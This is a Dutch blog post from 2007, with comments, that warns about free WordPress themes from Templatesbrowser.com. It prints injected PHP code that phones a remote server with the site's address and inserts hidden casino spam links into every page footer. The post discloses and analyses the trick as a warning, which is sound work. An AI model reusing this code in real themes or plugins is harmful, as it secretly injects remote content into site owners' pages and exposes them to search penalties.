Verborgen linkspam van Templatesbrowser.com in WordPress-weblogs
- op 18 mei 2007
- in Commentaar, Ontwikkelingen
- 5
Vorige maand roemde ik op deze plek de duizenden gratis WordPress-themes die je kunt downloaden om je weblog op te tuigen. Maar pas op: dankzij broer Onno en zijn onvolprezen dienst Follow That Page ontdekte ik vanmiddag dat sommige themes ook iets anders doen: verborgen links toevoegen naar casino-, hotel- en andere sites – kortom linkspam. En dit is de site die daarvoor verantwoordelijk is: www.templatesbrowser.com/wordpress-themes/.
Hoe werkt Templatesbrowser.com?
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:
function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER[‘REQUEST_URI’]) . “&” . “host=” . urlencode($_SERVER[‘HTTP_HOST’]);
$check = @fsockopen(“get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:
http://get.templatesbrowser.com/wp.php?url=%2F&host=www.laterna.nl
In mijn geval geeft de server de volgende code terug:
<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>
Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging ‘display: none’ is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:
<?php credits(); wp_footer(); ?>
Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.
Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER[‘HTTP_HOST’]) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als
<!– T-B –>
Ook zit er een random element in: als je op F5 drukt, verandert soms de code.
Een hogere PageRank?
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=”display: none;”) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.
Het risico?
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo’n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.
Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.
Onno
Here is the story in English:
http://www.onnoot.com/english-item.php?num=532
Alfred
Geweldig artikel, bedankt! Ik ben maar een gewone gebruiker en heb wel rare dingen meegemaakt met themes van onduidelijk afkomst. Dan liet Google me opeens met 500 plaatsen terugvallen. Nu blijkt uit jouw artikel dat ze gewoon andermans themes jatten en er code aan toevoegen, ik neem aan dat de theme-bouwers dat niet weten, er staan namelijk bekende themes in. Heb je dit trouwens al aan WP gemeld, op dat forum bijvoorbeeld?
Código malicioso para themes para Wordpress y Joomla | aNieto2K
[…] leyendo por Digg, me he encontrado un par de entradas en las que nos advierten de la insercción de código “malicioso” en los themes […]
» Templatesbrowser.com en de blogosfeer - Laterna
[…] Het blijft altijd weer curieus hoe nieuws zich verspreidt over de hele wereld. Zo’n drie maanden ontdekte Follow That Page van broer Onno een rare link in mijn site en vond ik na drie kwartier speuren en puzzelen genoeg bewijsmateriaal verzameld om de boosdoener aan te wijzen: de website Templatesbrowser.com verspreidt kwaadaardige WordPress-themes. […]
wp fanatic
http://www.wpthemesfree.com doet dit ook en zo zullen er dus wel meerdere zijn.
vandaar dat wordpress ook meld dat je alleen bij hun de templates moet downloaden.
so be warned !!